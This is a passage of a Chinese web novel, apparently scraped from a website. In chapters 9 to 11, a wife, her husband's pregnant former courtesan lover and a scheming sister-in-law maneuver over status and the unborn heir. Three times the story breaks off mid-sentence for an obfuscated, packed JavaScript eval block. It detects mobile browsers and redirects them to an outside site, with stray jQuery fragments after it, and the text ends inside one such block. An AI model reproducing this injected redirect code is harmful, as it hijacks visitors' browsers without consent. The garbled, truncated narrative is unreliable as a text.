九、“人道清宵明月好,欲邀同赏意如何?”…… 清风阁,一灯如豆,少了前几日的暧昧,只剩得许多的寂寞和冷落。苏明锦待宋清欢收拾完自己远行需要带的衣物后,就匆匆赶回了杏雨斋。 宋清欢独对寒灯,痴痴地望着手里的书卷发呆。绿珠在身旁伺候着,她将宋清欢一切的喜怒哀乐都瞧在心里。 小舟是个直性子,心里藏不住事,嘴里憋不住话,她走近床边,为宋清欢铺床,一边铺一边嘟囔:“二公子也真是,薄情寡义、朝三暮四,这马上就要出远门了,还不知道多久才能回来,也不在自己夫人这里多待一待,说说体己话,那位李娘子,抢夺人夫真是有好手段!” 宋清欢听着这话,一时黯然。抢夺别人夫婿,到底是谁抢夺?明明自己才是后来的那个,如果早知道这样,她又怎会轻易嫁入苏家?可她自己做的了主吗?身为女子,何时才能嫁娶从心啊! 不、不对啊!宋清欢忽然一身冷汗,这苏家二夫人哪里是她宋清欢?分明是宋意欢母女二人设计她。苏家大公子苏明轩,他的夫人正是宋意欢的亲表姐——李婉柔。想来李婉柔早就知道了苏明锦杏雨天留情一事,而苏宋两家婚约不可违,这才姐妹易嫁,让自己跳进了这个大火坑!她顶着宋意欢的名字,在这里战战兢兢,度日维艰。受丈夫冷落的苦,原本是宋意欢的!宋清欢不禁愀然,默默说道:“宋清欢,什么时候才能做回真正的自己啊!” 绿珠在一旁却是心疼,“夫人,您一直在做自己啊,只是个名字而已,不重要了。” 小舟一个劲地点着头,又看向宋清欢,说道:“就是这个意思,我一时说不出那么多道理,绿珠说的正是我心里想的!” 宋清欢苦笑,绿珠和小舟总是能在她感伤低落时,给自己足够的底气。他放下手中的书,无奈地说:“我自入府,为了能够在这生存下去,为了不被夫君厌弃,便精心算计,才在这府中有了立身之本。眼下的情形,在我筹谋之外,还须从长计议。” 小舟满脸期待,定定地点了下头,“嗯!姑娘腹有诗书、冰雪聪明,何愁解不了眼前困局?” 宋清欢担忧地说:“恐怕没那么容易,苏明锦和她相许在前,而我只是仗着正妻的身份罢了。他虽然对我渐渐动情,但远不及他们二人的誓盟,何况,李意如又怀了他的孩子!” 绿珠想了想,说道:“主君向来看重尊卑人伦,他不让二公子给李娘子名分,还把管家之权交给了夫人,我看无论如何,主君是看重您的,我们还有主君这个靠山。” 宋清欢哑然一笑,摇头道:“你们是没看见父亲得知李意如有孕时的情形,满脸写着一举得男的殷殷期盼。在家族衍嗣上,什么人、什么事都得往后排。” 小舟一脸疑惑,“李娘子出身低贱,入了府也没有名分,难不成就因为有孕,还能抢了这正妻的位置?” 绿珠接着说道:“就算是妾,所出皆由大娘子亲自抚养,大娘子才配得上一声‘母亲’,更何况是婢女所生?李娘子腹中的孩子,必然是由作为大娘子的您亲自照料。若是生女也就罢了,如果生男,正妻之位也不会被她抢走的。只是、只是二公子的情意,怕是多半要给到杏雨斋那位了。” 宋清欢继续说道:“也不尽然,虽说李意如现在无名无分,就看父亲那欣喜的劲头,说不定明天就允了她做妾。再说这养孩子的事,别说是之前,就放眼当下,高门大户宠妾灭妻的事还少吗?说不准啊,她李意如一撒娇,天可怜见的模样,这孩子也就由她自己养着了。” 小舟听得急了,“哎呀,听你们说了半天,这也不成、那也不成,那只能坐以待毙吗?” 绿珠笑了,“当然不!夫人得尽快有个嫡子才对!” 宋清欢却犯了难,“这、孩子哪能说有就有呢?不过,眼下如何彻底攻破他们二人的情爱,大概,得从李意如这个人入手!” 杏雨斋内欢声笑语,已然恢复了当初的热闹。李意如偎在苏明锦怀里,一口一口地吃着他喂过来的果子,小蛮在旁边看得有些焦急,“娘子,咱们可不能再吃桂圆了,火气忒大!” 苏明锦心里一惊,赶紧停住了手,一本正经地对着李意如说:“我真是粗心,竟顾着高兴,忘记这些了。还是小蛮细心体贴。以后啊,你可得听小蛮的!”李意如噘着嘴,娇滴滴的应了下来。 过了今晚,苏明锦就要随父杀敌去了,他本应去宋清欢那里,可李意如有孕不足三月,总是一副病恹恹的模样。苏明锦终是不放心,更何况,这段时间确实冷落了李意如,这让他心里很是不安。 “明锦,还是去夫人那里吧,想必你是有很多事要交代的。”李意如痴痴地望着苏明锦,眸子里似有一湾清水,烁烁点点。 苏明锦用手抚平了李意如微皱的眉头,笑着宽慰她,“无妨,该交代的都已交代,今晚,就让我好好陪着你。” 李意如满意地笑了,红烛罗帐,二人耳鬓私语,彼此都不忍心睡去。他们从如今一直回忆到初见,过往的一切都历历在目。 “那年你来府中献艺,贪看风景迷了路,幸而如此,才让我遇到了你,这一晃都三年了!”苏明锦不禁回忆起了他和李意如的第一次偶遇,满心沉浸在那日的和煦春风之中。 “第二次便是在‘杏雨天’了,那日为了给林君庆生,一众好友在‘杏雨天’齐聚,你说巧不巧?居然又亲见你为大家演奏琵琶,眼波流转,顾盼生姿,料想昔日的洛神宓妃也不过如此!意如,我当时居然没有认出你来!” 李意如听着苏明锦的拳拳情语,洋洋得意的笑了,“我看啊,你我姻缘本由天定,这缘分是躲也躲不掉的。”李意如说完,闭上眼,搂着苏明锦的脖子,此刻的她,郎君在侧、腹中有子,一朝夙愿终得偿。 苏府献艺之后,她便吩咐小蛮去细细打听苏明锦这个人。得知这位公子哥人品清正、仕途光明,最重要的是尚未婚配,心里也不曾有钟情的女子。李意如心动了,自己正直青春,杏雨天里多少如她这般的女子渴盼着有个好的终身归宿。两情相悦自然是好,但她更希望觅得个官宦人家的如意郎君,对自己情有独钟。感情、金钱,她都想要!可苏明锦甚少踏足风月之地,这缘分该如何继续下去呢?可巧,林府公子林霄,在生辰这日于杏雨天宴请好友消遣时光,而苏明锦,正是林霄的好友! 林霄生辰的这天晚上,杏雨天贵客云集,莺歌燕舞、蓝烟薰暖。 林霄端坐于筵席正中,其他宾客分列两端。席上唯有一美人,春风满面,轻挽云鬓,一袭淡蓝色的长裙,陪坐于林霄身边,与众人觥筹交错。她就是柳心月——林霄的红颜知己。今天的生辰宴,皆为柳心月一人一手操办。 柳心月殷勤地为林霄斟着酒,一杯又一杯的递到了对方的嘴边,又一只手抚在了对方的肩膀上,娇嗔的说道:“月儿祝郎君年年今日!”说罢,她双手击掌,帘幕后立马轻盈盈的走进一众美人,伴随着丝竹声起。众美人身着各色纱衣,烛火阑珊处翩然起舞。红裙如火、绿衣似柳、紫衫若霞,每一位都美的令人移不开双眼。舞罢,林霄拍手称快,众美人向宾客深鞠一躬,就分别坐于他们的身侧,红袖添酒,好不快活! “柳娘子真是用心,为咱们备了如此盛宴,真是妙哉!”林霄的好友李渊甫一杯酒下肚,神色最是迷离。 “柳娘子的用心,也是用在了林君的身上,着实惹人艳羡。我看呐,还是感谢你这千秋之日,让兄弟们跟着开眼!”好友崔景行对着林霄敬了一杯酒。 “别急,好戏才刚刚开始呢!”柳心月会心一笑,示意表演继续。之后的宴席,如莺歌蝶舞、醉倒花丛。 停了片刻,却不见有人出来,柳心月心下狐疑,吩咐身边的丫头去催一催。丫头刚要去看个究竟,帘后就缓缓地走来一位抱着琵琶的女子,女子面容清丽,眉目如雪。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17376771|200106||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 此时的柳心月不禁皱了皱眉。 女子轻盈而入,奇香四溢,忽如莲花脚下生。她端坐于中央,犹抱琵琶半遮面,轻拢慢捻,反复弹拨,那弦音起初极轻,似有若无,仿佛一缕青烟袅袅升起。渐渐地,又忽的嘈嘈切切,如落地生珠,声声入耳。映着烛火,只觉得她眼波流转,一双秋水般的眸子,似要摄人心魄。 “好!”曲罢,众人齐声称道,女子款款起身,对着众人柔声道:“献丑了,意如用这一首《阳春》祝林郎君云山风度、松柏精神、且喜且乐、且以永日,诸位郎君占得欢娱,年年今夜!” 林霄很是受用,立马称赞道:“赏!这位小娘子艺高人慧,不在你之下啊。”说完,拍了拍身边柳心月的手,“月儿,怎么不见你为我弹奏?”酒过三巡,林霄已经有了几分醉意。 柳心月将酒杯斟满,陪笑道:“今晚,我就陪着你呀、好好喝酒!来,饮了这杯!”柳心月强装笑意,附和着称赞,心里却是五味杂陈,“李意如!我记着你了。” 在座的其他郎君也纷纷叫好,苏明锦对着林霄感叹道:“杏雨天果然非同一般,‘初上琵琶弦,弹破碧云天’。此曲只应天上有啊,今晚,这琵琶和祝语,真是妙绝!妙绝!” “苏公子谬赞了,意如还得谢谢您当日的‘引路’之恩!”李意如说完,含羞看向苏明锦,杏眼横波。 “原来是醉翁之意不在酒啊!”林霄一脸坏笑的看着苏明锦,将杯中酒一饮而尽。 苏明锦听了李意如的话,有些摸不着头脑,这才细细打量起了眼前的这位美人,“哦,原来是你啊,不同往日,你这一曲《阳春》似多了几分张扬急切。” 不等李意如开口,林霄便打趣道:“哈哈,曲有误、‘苏郎’顾嘛,小娘子急切地想见到你呗!”此话一出,座中郎君皆笑。 “快,小娘子快坐到明锦身旁斟酒!”林霄接着起哄,弄得苏明锦和李意如都不好意思的低下了头。 杯盘狼藉、酒酣胸胆,早已月过中天,众人纷纷尽兴而归。李意如瞅准了时候,在苏明锦起身微醺之时,恰如其当地扶住了他的胳膊,“苏公子有些醉了,意如将此香囊相赠,这里面放了安息香,又另加了些檀香温中,公子就寝时可将它放于枕边,既解酒气,也可安神。” 苏明锦感激地谢了又谢,手肘不经意轻轻碰触到了对方,李意如迅速收回手,耳尖泛红,抬眼处,恰与苏明锦四目相对,一股暖流莫名涌动于心间…… “意如,你知道吗,那日,你第一次送我的香囊,我一直置于枕边。”苏明锦抚摸着李意如的发鬓,另一只手拿出了枕下的香囊,“从那之后,此物夜夜伴我入眠,犹如美人在侧!” 李意如笑了,“你给我的信,我也一样地保存着。‘高在酒延明锦慕,愿随君侧醉烟江’。这是我传与你的信笺。你可记得了?”李意如早就料到,得罪了师姐柳心月,自己在杏雨天的日子肯定不好过了。于是她抓紧时间,趁热打铁,想尽办法让苏明锦爱上自己,虽然她不通翰墨,却也是费尽心思翻遍了诗书,找到了这两句嵌着苏明锦名字的诗,一个通宵的工夫,换对方的怜爱,简直太值了。 “‘人道清宵明月好,欲邀同赏意如何?’我生怕自己冒失了呢,真是感谢林君的那场酒宴,这才有了你我二人今日的缘分。”苏明锦想到了自己写给李意如的诗句,幸福之情溢于言表。 呵呵,李意如心底不禁冷笑,什么林君,从来幸福都是自己争取的。等,只能等来红颜迟暮!幸好没有辜负自己的苦心经营,苏明锦单纯心善,待人温厚,这样的官宦子弟,整个汴京怕是找不出几个了。 “意如,明天我就要走了,这香囊留在你身边,就如同我日日在你身旁。” “嗯、‘念君远去盼君归、犹如君在奴身侧’。明锦,你一定要保重自己,我和孩儿一起,等着你平安的回来,一家团聚!” 10. 十、不速之客 寒冬腊月,将至年关,苏明锦已经离家一月有余,也不知除夕之前能不能赶回家。宋清欢和李意如二人在家倒是相安无事,宋清欢偶尔会带点补品去杏雨斋探望,每次却不久留,惹上什么麻烦那就得不偿失了。这阵子,宋清欢正忙着置办府中过年用的各种物件、吃食,以及亲戚、旧友间的人情往来。至于自己娘家那边,虽然没什么情分了,但样子还是要做一做的。 “二夫人,这是您娘家今早给主君送过来的喜帖。”徐伯将手中的喜帖递给了宋清欢。宋清欢接过一看,这、宋意欢竟然许完婚了?自己一点风声也没听到过。只见喜帖上写着: “谨詹于二月二十日酉时小女宋清欢于归洁治喜酌恭迓莲舆忝眷生宋时鞠躬。” 宋、清、欢,到底还是顶着自己的名字出嫁了啊。 看着这喜帖,宋清欢心里五味杂陈,“徐伯,你可知宋家大姑娘许了什么人家?” 徐伯想了想,回道:“是顾家。” “顾家?” “对,伯爵府顾家的独子,听说顾家公子不怎么在京,平时四处游历,对科举也不怎么上心,不过顾公子早晚会承袭爵位,科不科举的,就不在意了。” 宋清欢低头沉思片刻,“这是高嫁了啊,千挑万选,母亲真是给姐姐寻了个好去处。徐伯,按照府中以往的惯例,这几日提前把贺礼送到宋府。” 徐伯有些面露难色,“二夫人,恐怕不太好吧,我看,您还是亲自送一趟更妥当。” 宋清欢明白徐伯的意思,自己的娘家,怎么着也得亲自去贺一贺的,“那就等正月,我回府给父母拜年时,顺道送去。” 没过几日,府上又接到了苏家大公子苏明轩的家书。信中说,苏明轩不日即将携家眷归京向官家述职,今年就回府和大家一起团聚。 宋清欢自收到书信后,就命人抓紧时间打扫清晖轩,虽然清晖轩内一直没有人住,但屋里屋外,冷冷清清、烟尘堆积,少不得要好好清洁下。宋清欢把旧时的陈设统统换了新,床铺、茶盏等用具也是如此,又吩咐徐伯遣来几个勤快伶俐的丫头在这边。 不出五日,苏明轩夫妇到了京。苏明轩未做停留,直接进宫面圣,而苏明轩的夫人李婉柔,直接去了宋家。宋清欢从早上就着手准备为兄嫂二人接风,直到中午了,却是一个人也不曾露面。想想也是,父亲不在家,他们必是知道的,而继母李婷是李婉柔的亲姨妈,再加上表妹宋意欢婚期已定,她是先去拜见了长辈,顺便恭贺表妹大婚。宋清欢又在心中隐隐担忧,他们凑到一起,肯定会连带着嘟囔嘟囔自己。唉,多想无益,自己在家把礼数做足,问心无愧就好。 “二夫人,宋家那边来信儿,宋家主母留大公子和夫人用晚饭,让咱们别等了。”徐伯找到宋清欢时,宋清欢正在厨房查看今晚备下的菜品。 宋清欢轻轻地叹了口气,无奈又无语!早不说,这都快到饭点了才传话过来,不是折腾人是什么? “罢了,想来那边也会留他们吃饭的。”宋清欢放下菜单子,又转头对负责厨房吃食的人说道:“不用晚饭,大家也不要懈怠,你们为大公子一家备些精致的茶点果子,就当做夜宵吧。” 戌时一刻,苏明轩夫妇回府,宋清欢带着众人在府门口亲自相迎。 “见过大哥、大嫂,快快进府吧。”宋清欢欠身问安。 苏明轩看着宋清欢,笑着说道:“你就是弟妹吧,二弟成婚,我却因公务不能回家,真是对不住你们!” “大哥客气了,一朝为官,自是以公事为主,我和明锦都理解的。”宋清欢笑着回答,“大哥、大嫂,随我去清晖轩看看,我把你们的院子重新布置了下。” 随后,众人来到了清晖轩。下人们将随车带回的衣物用具等,按照李婉柔的指示放好。进到屋内,李婉柔四处打量,见绿珠正要给他们斟茶。 “慢着!”李婉柔拦下了绿珠,又对着自己身边的女婢说,“吉祥,换上咱们带着的茶盏。” 绿珠愣了一下,低头看向宋清欢。李婉柔连忙解释,“哎,妹妹别多想,我这是用惯了旧物,一时换了新的,还有些不习惯呢。”说罢,对着苏明轩回眸一笑。 苏明轩显得有些尴尬,也是赶紧找补几句话。 宋清欢不以为意,“啊,大嫂真是勤俭之人呢,大哥真是好福气!对了,大嫂回家可带了被褥?怕是要择席难眠,想是睡不惯新的。”宋清欢料定李婉柔的这一步,提前给说明了。 李婉柔讪讪笑道:“哎呀,还是妹妹心细,我正要说呢。”吉祥带着几个丫头,把被褥又换了个遍。 几人闲聊着些有的没的,小舟他们端上了几盘精致的茶点。宋清欢笑着说道:“快到戌时了,不知哥哥嫂嫂饿了没,我让厨房做了些时兴的茶点,权当做宵夜了。” 苏明轩谢道:“让弟妹费心了!” 李婉柔依旧是一副笑容,喝了一口茶,漫不经心地说:“不过啊,我们没有睡前进食的毛病,枉费了妹妹的苦心。我看妹妹应该多把心思放在二弟身上,听说他带回来的那位有了身孕,你作为正妻,不要过于‘担忧’才好!” 宋清欢轻笑,“不管怎样,这也算是我的孩儿,更是父亲唯一的长孙,怎么能不担忧呢?” 李婉柔的脸瞬间沉了一下,又顷刻间恢复如初。宋清欢却不再争辩,她站起身,对着二人行了个礼,“哥哥嫂嫂一路舟车劳顿,早些安寝了吧,我就不多打扰了。”说完,她转身离开了清晖轩。 “你瞧瞧、没说几句话,原形毕露!不过是宋家的一条丧家犬,如今到这耀武扬威了。”李婉柔没一点好气儿,“吉祥,把这点心端下去,给院里下人分了。” 苏明轩摇了摇头,“你何苦为难她呢?弟妹虽无生母依傍,却也是宋家的嫡女,也算是你名义上的表妹。人家礼数周全,处处都为我们考虑到了。” 苏明轩拉过李婉柔到床边,让她快些躺下休息,李婉柔不领情,一下子甩开,背对着他,气呼呼得不吱声了。 清风阁,绿珠惴惴不安,李婉柔的性子,她是知道几分的。“夫人,大夫人今天明显是给您下马威呢,您不与她示弱,以后怕是会不断找您麻烦。” 小舟不服气,“可大夫人也太不近人情了吧,咱们处处以礼相待,她却处处挑毛病,大公子几次周旋缓和,也不顶用,我看啊,他是惧内。” 宋清欢无奈,“就算一言不辩,她也会照样处处找事的,总之,咱们尽到了礼数就行。”她对这位“表姐”只是略有耳闻,今日一见,和李婷这位继母的脾性相差无几,果然是出于一家。 夜深寒重,宋清欢躺在床上翻来覆去。只听得窗外风声啸啸,惹得院中枯枝“呀呀”摇动,反倒更难成眠! 当年,苏宋两家定下婚约,虽未言明求娶哪位姑娘,可宋家就两位嫡女,且年龄相仿。宋清欢在府中可是没有一点存在感,而宋意欢就不一样了,李婷将她视作掌上明珠。而李婷看上了苏家这样的门第,自然是极力说服宋时,让自己的亲生女儿去结这门亲。宋时的本意是姐姐清欢先嫁,但架不住李婷的枕边风,最终同意了宋意欢嫁入苏府。可她出阁的前一刻,为什么设计让自己代嫁? 李婉柔,绝对是她!李婉柔是苏家的大儿媳,对于苏明锦的为人肯定是再熟悉不过了。苏明锦虽是良人,但最大的问题是她——李意如。李婉柔必定是在两家成婚之前知道了这个人的存在,大户人家,家里放几个良妾自是可厚非,可偏偏苏明锦是个痴情的“傻人”。一听说这婚约不可推脱,就一怒为红颜了。新郎跑了,这宁死不从的劲头,李婉柔看在眼里。她又怎么会让自己的表妹嫁过来日日与这个恃宠而娇的红颜做周旋呢?喜帖已发,婚期将至,所以,他们众人才联合起来,演了一出移花接木的戏码。苏家的这个大坑,居然让自己来填,也难怪李婉柔话里话外总提到带回来有孕的那位,无非是想让自己下不来台。自 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17376772|200106||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 和苏明锦成婚后,李婉柔虽不在京,她却什么都知道! 一个有孕的李意如已让她不胜其烦,又回来个李婉柔!姓李的跟自己扛上了吗?他们二人会不会联手来对付自己?李意如若是借机上位,顶多得来个贱妾的名分,却能得到苏明锦全部的爱。李婉柔呢?自己已经替她表妹进了火坑,况且管家之权只是暂时的,再怎么落魄也不至于妨碍她大夫人的地位。那自己要不要同李意如统一战线,共同提防着李婉柔的步步算计?若如此,李意如有什么好处?自己呢?想想有些可笑……宋清欢的杂乱猜想游离于眉间心上,慢慢地,她的意识逐渐模糊,罢了罢了,走一步看一步吧…… 一大早,宋清欢头就昏昏沉沉的,这时候她可不敢再赖床了。早饭备齐后,她便亲自到清晖轩请二人去前厅用饭。 李婉柔却说,“吉祥,去把饭拿回来。妹妹,我们就在自己屋用了。” 苏明轩用手指了下李婉柔,又摆了摆手,对着宋清欢不好意思地笑了笑。宋清欢知道苏明轩抱歉得很,她自己才不在乎呢。 杏雨斋,冷冷清清,自苏明锦走后,李意如便安心养胎,很少走出这个院子。这才怀孕四个月,身体就明显不行了,腹中时不时隐隐作痛,她只能叫小蛮偷偷溜去马道街找那个胡大夫。 这天,她正在床上倚着,听到门外有人笑呵呵地询问着,“怎么就这么几个人,你们李娘子呢?”李意如听着耳生,但身子懒懒的,也不想下床。倒是叶儿从小就是府上的,认出了来人正是大夫人李婉柔,“大夫人来啦,快里面坐。” 李意如听见“大夫人”三字,连忙起身,她早就听说大夫人回府,不过,她这样的身份,也不好去拜见。 还没等李意如下了床,李婉柔早就踏门而入,“哎呦,妹妹可别下来,仔细着身子!”李婉柔扶着她,让她重新靠在了榻上。李婉柔细细的打量着对面的女子。天然素面、眉眼低垂,一双纤纤玉手轻放榻边。李婉柔不禁叹道:“妹妹虽然不加雕饰,这唇如胭脂、睡眼含情,真是个娇美人!难怪我家二弟为了你,连婚都不想成了。” 李意如心里有些慌,听这话的意思,这位大夫人是知道了她们那点事了。今日她贸然前来,肯定别有用心,还需小心应付才是。她定了定神,笑道:“大夫人说笑了,意如身份尴尬,不方便去拜见夫人,倒让您跑了一趟,真是过意不去。” 叶儿将茶水奉上,李婉柔看了看身边的吉祥,又看了看叶儿,二人知趣地退下了。 “身子怎么样?女子有孕向来辛苦,我看你脸色煞白,我让吉祥请郎中过来瞧一瞧吧。” 李意如身子一缩,一霎震惊之后,尴尬地笑了笑,“啊……怎敢劳烦大夫人,只不过是我身子弱些,并无大碍。” 李婉柔见她刻意推脱,也不好勉强,“你肚子这个,那可是咱们苏家的希望啊,父亲一直盼着能有孙儿承欢膝下,你可是咱们家的大功臣!” 李意如十分不好意思,她明白这是在抬举她,仍不失礼貌地一笑,轻声道:“大夫人可别乱说,怎么就一定是男孩呢。” “对对,是女孩明锦也一样欢喜,女孩才会像你这么温柔可人!”李婉柔掩面失笑。 李意如可不想要什么女孩,但也不会因为别人几句话失了分寸,她也跟着笑了又笑,好生无趣! “话说回来,这二夫人怎么如此马虎呢?几个小丫头能照顾好你吗?真不知她是怎么管这个家的!”李婉柔突然收回来笑意,一脸愠色。 “不不!二夫人安排了嬷嬷随身照料的,每隔一日就会来看我,饮食起居,无一不上心的。她知道我身子弱,不常来打扰,让我安心养胎。” 李意如说的确实是实话,二夫人虽然分夺苏明锦的爱,但她对自己还是碍于苏明锦的情面,尽心顾着。 想来大夫人看不上二夫人,故意到她这里挑拨离间,自己可不是傻子。 果然,她是有备而来! 11. 十一、是敌是友? 李意如累了,她强忍着哈欠,小心地应付着李婉柔,心里盼着她早点离开。 “哦——”李婉柔故意拉长话音,似有所指,“也难怪,像咱们这样的高门大户,三妻四妾算是常见,但不管是谁生的孩子,都归于正妻带身边亲自抚养,正经的叫大娘子一声‘母亲’,妾室呢,虽说是生母,也只能叫一声‘姨娘’,二夫人虽未生育,但有你为她添个孩儿,也是欢喜得很呢!” 李意如根本没有想过这么多,此时的她,笑也挤不出了。而李婉柔则继续说道:“唉,不过虽然有夫人亲自抚养,但终究是庶出,以后啊女孩不得高嫁为妻,男孩总会低人一等,啧啧,可惜了!”看着李意如汗涔涔的样子,又不忘加一句,“妹妹还是个没名分的,唉!” 此时,小蛮正从外面回来,拿着一兜子草药。“姑娘,药拿回来了……” 李意如瞪了她一眼,“冒失!快见过大夫人!”小蛮这才注意到,忙行了礼,“姑娘,大夫说不碍事,让您莫要忧思!”说完急忙退下。 “妹妹好些休息吧,多‘照顾’着孩儿!”李婉柔用帕子掩了下鼻,给吉祥递了个眼色,起身告辞。 李意如强支撑着笑,她早已自乱了阵脚! “小蛮、小蛮!”李意如连呼小蛮。 小蛮跑了进来,“姑娘这是怎么了?” 李意如朝着窗外张望。 “大夫人已经出院子了,姑娘赶紧躺下。”小蛮安抚着李意如,待平静之后,她吩咐叶儿把药端了上来,“这是胡郎中开的‘当归散’,养血安胎最为有益。又拿了些阿胶、艾叶,胡郎中说了,保胎最为要紧,艾叶煮蛋,可祛湿驱寒、止血安胎。姑娘肚子疼痛频繁,这阵子可以安排熏艾了。叶儿,你先去准备准备!” 李意如将李婉柔来见她的经过都说与了小蛮,心有戚戚。“大夫人这是来试探我了,我不抱怨二夫人半句,她便开始拿庶出这事来吓唬我。可我真正惧怕的,是孩子一出生便会交与二夫人抚养,我这个生母又有何用啊!” 小蛮擦掉李意如鬓角额间的虚汗,抚摸着她的双手,“杏雨天出来的人,哪里奢望什么嫡出啊,姑娘下一步要做的,是让主君同意二公子将你纳为妾室,不然,孩子连庶出的名分都没有!” 李意如连连点头,小蛮继续劝慰,“姑娘眼下先不要想那么多,保住孩儿才是正经!”李意如微微颔首,紧闭双目,不作一声。 清风阁,绿珠匆匆而入,“夫人,大夫人刚刚去过杏雨斋了!吉祥那丫头鬼鬼祟祟的,大夫人走后,她又在墙外不知道徘徊什么。” “大夫人连咱们这里都不来,去李娘子那里作甚?不只是去看苏家未来子嗣那么简单吧。”小舟对大夫人可谓是厌恶的很。 宋清欢冷笑一声,“当然不是,李婉柔怎么会看上毫无出身的李意如,不过是借着探望的名义,去拉拢她罢了。” 绿珠疑惑,“可大夫人拉拢过李娘子,她要做什么呢?就是为了争回管家之权?她们一家难道要长居京师了?” 小舟补充道,“大夫人可是姑娘继母的亲侄女,他们向来看不惯姑娘,从小到大,处处为难!” 宋清欢不以为意,“她为难我,不过是替继母出口气。我与李婉柔之要是没有利益纠葛,她也没闲心来折腾我。如若他们长居京师,这管家之权早晚会还给她,谁让她是大房呢。不过最重要的不是这些,你们想想,成婚多年李婉柔并无所出,拈酸善妒不允苏明轩纳妾,恰巧这边有个没有身份的娘,但肚子里的却是苏家的长孙!” “他们联手对付二夫人,若是二夫人有个什么闪失被苏家厌弃,而李娘子终归不会成为正妻,二公子怕也不会立马娶个新妇,那她作为苏家大夫人,必定会上赶着抚养孩子。”绿珠睁大了眼睛,啧啧叹道,“真是打的好算盘呀。” 小舟恍然大悟,“果然啊,深宅大院的肮脏事,真是算计不完!那接下来该如何是好呢,总不能干看着他们二人结盟联手吧?” “当然不能!”宋清欢眼神坚定,“是时候找李意如谈谈了。” 除夕就要到了,宋清欢收到了苏明锦的家书。苏明锦告诉她,已经动身赶回汴京了,除夕便可到家。大嫂那边,不争辩、多忍让,不要生事端。宋清欢心里不满,苏明锦一向是求中庸之道,他唯一一次硬气的时候,大概就是拒娶自己、离家出走了吧。到最后,还是逃不过家族大业,又折了回来。 这天,宋清欢只身一人来到了杏雨斋,见到李意如便开始寒暄,“这几日一直忙着准备年下的东西,又要招待大嫂到她满意为止,无暇顾及到你,今儿买了云片糕,我记得你是爱吃这个的。听大嫂说你身子不是很好,可有大碍?” 李意如正在窗前晒太阳,看宋清欢提到了大嫂,心里咯噔一下,莫非她知道了大夫人来游说自己的事了? “啊,爱吃爱吃,多谢二夫人记挂着。我不碍事的,大夫人、大夫人她挂心了,二夫人快坐!小蛮,斟茶!” 看着言词有些闪烁的李意如,宋清欢却镇定得很,“官人来信了,除夕日便可随父亲回京返家,父亲他们还特意问你是否安好。”她抿了一口茶水,余光却盯着李意如神情变化。 李意如听到苏明锦对她的挂念,眼中含情,脸上终有了一丝笑意。“他——主君他们就要回来了?真是太好了!” 宋清欢却摇了摇头,“朝堂之事虽说是结了,可家里更让人牵心。” 李意如不解,疑惑的看着宋清欢。 “李娘子还不知道吧,大哥将留任京师,他们一家过完年就不用回湖州了,是要长居京中老宅了。” 李意如现在最不想听到的就是有关大夫人的一切。她默不作声,只是“嗯”的应了下。 “父亲向来看中子嗣,你这样的身份,他都能屈尊探望,想必李娘子妾室的名分很快就要来了。大夫人成婚多年无所出,求子心切却不允大哥纳妾。大嫂出身名门,犹重尊卑,她来看你,无非是想拉拢有孕的你来扳倒我。” 李意如见宋清欢把话说到了明面上,心中反倒松了一口气,“二夫人冰雪聪明,什么都瞒不过你。你猜的没错,大夫人确实与我说了很多,不过,我可没有答应她什么。” 宋清欢不紧不慢,“妾室是不可能扶为正妻,官人的性子,想必你比我更清楚,他是不会为了这些忤逆宗族、父亲。” “我从没有奢望过为人正室,能有个安身之所,官人能爱惜自己,便是上天眷顾了。”李意如的神情恢复到了最初的淡然。 宋清欢见李意如一副看淡名分、不计利益的样子,轻蔑地笑了,“妾室确实不能扶正,更不能亲自抚育自己的孩子,你也不在乎自己孩子的将来吗?” 李意如心知肚明,她卑贱如草芥,只不过有了这苏家唯一的血脉。这孩子也不过是这两位夫人斗争的工具,她无论如何都是牺牲品。“意如也听说一些两位夫人之间的恩怨过往,你们彼此不对付,不过是想拿我做局,我站在哪一边,都注定身陷囫囵。” “非也非也。”宋清欢摇摇头,“表面上看,是李婉柔想和你联手,推你上位,以泄旧时怨愤,实际上却是想除掉我这个障碍,要了你腹中的孩儿!” 李意如嘴角一颤,“她是苏家长房,这是二房的孩子,怎么也轮不到她——” “我若做不成二夫人,那么,在新的二夫人娶进门之前,这苏家唯一的血脉、父亲的长孙,会养在谁身边呢?会是你吗?”宋清欢厉声打断了她。 李意如被一语惊醒,她原还做着早日成为妾室、将孩子亲自抚养的美梦。她定了神,问道:“二夫人今日来和我说这些,是让我放弃大夫人这个靠山,和您站在一处吧。可自从回了府,你我二人就不得不算计着,谁更能争得明锦的爱。” 宋清欢叹了口气,“难道情爱比孩子更重要吗?你我应联手,莫要让外人插手二房的人和事!我自会认你的孩儿做嫡子。李娘子,其中利害,你细细思量便是!”宋清欢说完,就匆匆离开了杏雨斋。 “姑娘,二夫人的话可信吗?”小蛮见李意如一脸木然的愁容。 “‘天 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 